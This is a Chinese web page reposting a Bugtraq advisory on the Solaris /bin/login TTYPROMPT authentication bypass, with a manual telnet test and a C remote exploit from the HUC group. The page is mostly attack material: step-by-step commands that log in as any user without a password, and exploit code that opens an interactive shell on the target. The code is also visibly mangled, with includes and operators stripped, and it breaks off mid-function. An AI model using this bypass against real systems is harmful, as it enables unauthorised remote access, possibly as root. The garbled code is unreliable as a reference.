分享
 
 
 

SunSolaris/bin/login验证绕过漏洞

王朝other·作者佚名  2008-05-19
窄屏简体版  字體: |||超大  

受影响系统:

Sun login

- Sun Solaris 8.0 x86

- Sun Solaris 8.0 SPARC

- Sun Solaris 7.0 SPARC

- Sun Solaris 7.0

- Sun Solaris 2.6 SPARC

- Sun Solaris 2.6

描述:

--------------------------------------------------------------------------------

BUGTRAQ ID: 5848

Solaris 2.6, 7, 和8的/bin/login存在一个漏洞,可以通过环境变量TTYPROMPT绕过验证。

远程攻击者只需在telnet里给环境变量TTYPROMPT简单定义成长度为6的字符串,然后连接上远程主机,再输入用户名,后面跟64个" c",最后加一个回车就可以以这个用户直接登陆到系统而不需要口令验证。如果系统允许root用户远程登陆,就可以直接得到root用户的控制权。

链接:http://marc.theaimsgroup.com/?l=bugtraq&m=103357889303304&w=2

*

测试方法:

--------------------------------------------------------------------------------

Jonathan Stuart (jons@ccpartnersltd.com)提供了如下测试方法:

coma% telnet

telnet environ define TTYPROMPT abcdef

telnet o localhost

SunOS 5.8

bin c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c

c c c c c c c c c c c c c c c c c c c c c c c c c c c c c\n

Last login: whenever

$ whoami

bin

lion(lion@cnhonker.net) 提供了如下测试程序:

/******************************************************************

Solaris 2.6, 7, and 8 /bin/login TTYPROMPT remote exploit.

Tested for:

SunOS 5.5, 5.5.1, 5.6, 5.7, 5.8 Sparc

SunOS 5.7, 5.8 x86

Code by lion

lion@cnhonker.net

Welcome to HUC website http://www.cnhonker.com

******************************************************************/

#include

#include

#include

#include

#include

#include

#include

#include

#include #define BUFLEN 1024char shellcode[]= "\x97\x97\x97\x97\x97\x97";void usage(char *p){printf("Usage: %s [-u user] [-p port]\n\n", p);printf(" -u: login username (default: bin), try \"root\" :)\n");printf(" -p: port to use (default: 23)\n\n");printf("\n");exit(0);}void msg(char *msg){perror(msg);exit(errno);}u_int32_t get_ip(char *host){struct hostent *hp;if(!(hp = gethostbyname(host))){fprintf(stderr, "cannot resolve %s\n", host);return(0);}return(*(u_int32_t *)hp-h_addr_list[0]);}int get_socket(char *target, int port){int sock;u_int32_t ip;struct sockaddr_in sin;if(!(ip = get_ip(target)))return(0);bzero(&sin, sizeof(sin));sin.sin_family = AF_INET;sin.sin_port = htons(port);sin.sin_addr.s_addr = ip;if(!(sock = socket(AF_INET, SOCK_STREAM, 0))msg("socket");if(connect(sock, (struct sockaddr *)&sin, sizeof(sin))msg("connect");return(sock);}void send_wont(int sock, int option){char buf[3], *ptr=buf;*ptr++ = IAC;*ptr++ = WONT;*ptr++ = (unsigned char)option;if(write(sock, buf, 3)msg("write");return;}void send_will(int sock, int option){char buf[3], *ptr=buf;*ptr++ = IAC;*ptr++ = WILL;*ptr++ = (unsigned char)option;if(write(sock, buf, 3)msg("write");return;}void send_do(int sock, int option){char buf[3], *ptr=buf;*ptr++ = IAC;*ptr++ = DO;*ptr++ = (unsigned char)option;if(write(sock, buf, 3)msg("write");return;}void send_env(int sock, char *name, char *value){char buf[BUFLEN], *ptr = buf;*ptr++ = IAC;*ptr++ = SB;*ptr++ = TELOPT_NEW_ENVIRON;*ptr++ = TELQUAL_IS;*ptr++ = NEW_ENV_VAR;strncpy(ptr, name, BUFLEN-20);ptr += strlen(ptr);*ptr++ = NEW_ENV_VALUE;strncpy(ptr, value, (&buf[BUFLEN-1] - ptr)-1);ptr += strlen(ptr);*ptr++ = IAC;*ptr++ = SE;if(write(sock, buf, (ptr - buf))msg("write");return;}void do_negotiate(int sock){send_wont(sock, TELOPT_TTYPE);send_wont(sock, TELOPT_NAWS);send_wont(sock, TELOPT_LFLOW);send_wont(sock, TELOPT_LINEMODE);send_wont(sock, TELOPT_XDISPLOC);send_will(sock, TELOPT_LFLOW);send_will(sock, TELOPT_LINEMODE);send_wont(sock, TELOPT_OLD_ENVIRON);send_will(sock, TELOPT_NEW_ENVIRON);send_will(sock, TELOPT_BINARY);send_env(sock, "TTYPROMPT", shellcode);return;}void write_attack_buf(int sock, char *user){char outbuf[128],*s_buf;int i, j;if(!(s_buf = (char *)calloc(BUFLEN*2, 1)))msg("malloc");strcpy(outbuf, user);for(i = 0; i{strcat(outbuf, " c");}strcat(outbuf, "\n");printf("send to target:\n%s\n", outbuf);if(write(sock, outbuf, strlen(outbuf))msg("write");/* -- 2 reads for reading the garbage which screws up term -- */if((j = read(sock, s_buf, BUFLEN))msg("read");if((j = read(sock, s_buf, BUFLEN))msg("read");free(s_buf);return;}int main(int argc, char **argv){int c, n, sockfd, port = 23;char buf[2048], *shellstr="cd /; id; pwd; uname -a;\r\n";char user[36], host[36];fd_set rset;printf("============================================================\n");printf("Solaris 5.6 7 8 telnetd Remote exploit\n");printf("Tested for:\nSunOS 5.5, 5.5.1, 5.6, 5.7, 5.8 Sparc\nSunOS 5.7, 5.8 x86\n");printf("Code by lion, Welcome to HUC website http://www.cnhonker.com\n\n");if(argcstrcpy(user, "bin");while((c = getopt(argc, argv, "h:u:p:")) != EOF){switch(c){case 'h':strncpy(host, optarg, 36);break;case 'u':strncpy(user,optarg, 36);break;case 'p':port = atoi(optarg);break;}}if(!(sockfd = get_socket(host, port)))exit(-1);do_negotiate(sockfd);n = read(sockfd, buf, sizeof(buf));write_attack_buf(sockfd,user);send_wont(sockfd, TELOPT_BINARY);sleep(1);read(sockfd, buf, sizeof(buf));write(sockfd, shellstr, strlen(shellstr));n = read(sockfd, buf, sizeof(buf));FD_ZERO(&rset);for(;;){FD_SET(0, &rset);FD_SET(sockfd, &rset);if(select(sockfd+1, &rset, NULL, NULL, NULL)msg("select");if(FD_ISSET(sockfd, &rset)){bzero(buf, sizeo

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有